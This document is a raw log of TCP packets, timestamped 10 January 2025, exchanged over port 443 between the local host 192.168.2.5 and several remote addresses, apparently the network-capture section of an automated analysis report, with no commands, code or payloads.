Jan 10, 2025 12:04:35.838335037 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.839340925 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.839410067 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.839771986 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.839828014 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.839917898 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.839922905 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.840435982 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.855917931 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.855917931 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.855916977 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.884886980 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.885082006 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.885123014 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.885195971 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.885217905 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.885263920 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.885570049 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.885968924 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.886316061 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.886353970 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.886362076 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.886373043 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.886400938 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.886513948 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.887120962 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.887145042 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.887151957 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.887254000 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.887295008 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.887346029 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.887353897 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.887396097 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.887435913 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.887443066 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.888191938 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.888259888 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.888267994 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.888299942 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.888314009 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.888319969 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.888369083 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.888500929 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.888669014 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.888757944 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.888804913 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.888817072 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.888864994 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.888892889 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.889070988 CET	443	49844	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.889172077 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.889238119 CET	443	49844	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.889269114 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.889275074 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.889306068 CET	49844	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.889319897 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.889375925 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.889754057 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.889796019 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.889820099 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.889822006 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.889827967 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.889828920 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.889830112 CET	49844	443	192.168.2.5	104.18.80.204
Jan 10, 2025 12:04:35.889852047 CET	443	49844	104.18.80.204	192.168.2.5
Jan 10, 2025 12:04:35.889879942 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.889885902 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.890326023 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.890356064 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.890376091 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.890383005 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891256094 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891297102 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891318083 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.891325951 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891344070 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.891356945 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891386032 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891391039 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.891396999 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.891437054 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.892216921 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.892271996 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.893737078 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.893795967 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.893804073 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.893845081 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.896835089 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.896990061 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897072077 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897145987 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.897182941 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897229910 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.897238016 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897536039 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.897659063 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897722006 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.897730112 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897913933 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.897922993 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.897931099 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.897958994 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.897965908 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.898211956 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.898261070 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.898269892 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.898385048 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.898466110 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.898514032 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.898521900 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.898556948 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.898564100 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.899049044 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.899214983 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.899283886 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.899668932 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.899738073 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.899837971 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.899846077 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.899955988 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.899962902 CET	443	49878	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.900731087 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.900804996 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.901149035 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.901204109 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.901223898 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.901252985 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.901647091 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.901702881 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.901720047 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.901741982 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.901755095 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.901762009 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.901797056 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.901988983 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.901994944 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.902096033 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.902184010 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.902226925 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.902236938 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.902272940 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.907917023 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.910480976 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.910928965 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.910943985 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.911046028 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.911056042 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.911921024 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.911992073 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.912292957 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.912477016 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.912481070 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.913156986 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.913212061 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.913223028 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.914901972 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.914954901 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.915199995 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.922796011 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.922831059 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.922924042 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.923096895 CET	49887	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.923109055 CET	443	49887	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.925497055 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.927402020 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.927429914 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.928318977 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.928394079 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.928663015 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.928721905 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.928781033 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.929629087 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.930668116 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.930675030 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.934623003 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.935035944 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.935066938 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.938395977 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.938473940 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.938766003 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.938831091 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.938884974 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.945822954 CET	49878	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.945945024 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.955322027 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.956955910 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.957051039 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.957742929 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.958064079 CET	49872	443	192.168.2.5	104.17.174.91
Jan 10, 2025 12:04:35.958091021 CET	443	49872	104.17.174.91	192.168.2.5
Jan 10, 2025 12:04:35.961885929 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:35.961891890 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:35.961891890 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.961910963 CET	443	49877	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.962255001 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:35.962306023 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:35.962369919 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:35.962601900 CET	49888	443	192.168.2.5	104.17.173.91
Jan 10, 2025 12:04:35.962619066 CET	443	49888	104.17.173.91	192.168.2.5
Jan 10, 2025 12:04:35.969151020 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.969299078 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.969525099 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.969579935 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.969655037 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.969672918 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.969702005 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.969707966 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.969800949 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.969846010 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.969851971 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.969885111 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.969914913 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.970073938 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.970133066 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.970138073 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.970647097 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.970696926 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:35.970702887 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:35.970829964 CET	49873	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.970844030 CET	443	49873	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.971373081 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.973197937 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973249912 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973274946 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.973284006 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973325014 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.973328114 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973342896 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973387957 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.973803043 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973812103 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.973865986 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.974047899 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.974056005 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.974101067 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.974159956 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.974168062 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.974200010 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.974842072 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.974884987 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.974909067 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.974915028 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.975017071 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.975061893 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.975250959 CET	49870	443	192.168.2.5	104.16.108.254
Jan 10, 2025 12:04:35.975261927 CET	443	49870	104.16.108.254	192.168.2.5
Jan 10, 2025 12:04:35.977545023 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.977586985 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.977619886 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.977636099 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.977650881 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.977663040 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.977946997 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.977957010 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.977996111 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.978003025 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978308916 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978349924 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978353977 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.978362083 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978399038 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.978527069 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978578091 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.978852987 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978899002 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.978904963 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978941917 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.978945971 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.978976011 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.979084015 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.979089975 CET	443	49871	172.64.147.16	192.168.2.5
Jan 10, 2025 12:04:35.979100943 CET	49871	443	192.168.2.5	172.64.147.16
Jan 10, 2025 12:04:35.979351044 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.980540037 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.980551004 CET	443	49882	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.980554104 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:35.980566025 CET	443	49881	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:35.987422943 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987606049 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987668991 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.987679958 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987782955 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987834930 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.987843037 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987865925 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987916946 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.987925053 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.987972021 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.988434076 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.988493919 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.988532066 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.988581896 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.988615990 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.988670111 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.988750935 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.988799095 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.988830090 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.989006042 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.989099026 CET	443	49869	104.16.160.168	192.168.2.5
Jan 10, 2025 12:04:35.989165068 CET	49869	443	192.168.2.5	104.16.160.168
Jan 10, 2025 12:04:35.991111040 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.991137028 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:35.991194010 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.991389990 CET	49889	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:35.991400957 CET	443	49889	104.16.118.116	192.168.2.5
Jan 10, 2025 12:04:36.011784077 CET	49877	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.011810064 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.011854887 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.011861086 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.027431011 CET	49882	443	192.168.2.5	104.16.118.116
Jan 10, 2025 12:04:36.027714968 CET	49881	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.058665991 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.059813023 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.059890985 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.059978008 CET	443	49880	104.18.41.124	192.168.2.5
Jan 10, 2025 12:04:36.060024023 CET	49880	443	192.168.2.5	104.18.41.124
Jan 10, 2025 12:04:36.060065031 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060122967 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060151100 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060163021 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.060172081 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060204983 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060240030 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.060247898 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060283899 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.060288906 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060457945 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.060619116 CET	443	49879	104.19.175.188	192.168.2.5
Jan 10, 2025 12:04:36.060813904 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060841084 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060854912 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.060857058 CET	49879	443	192.168.2.5	104.19.175.188
Jan 10, 2025 12:04:36.060861111 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060936928 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.060971022 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.060981035 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.061012983 CET	49874	443	192.168.2.5	104.18.140.17
Jan 10, 2025 12:04:36.061724901 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.061763048 CET	443	49874	104.18.140.17	192.168.2.5
Jan 10, 2025 12:04:36.061794043 CET	49874	443	192.168.2.5	104.18.140.17
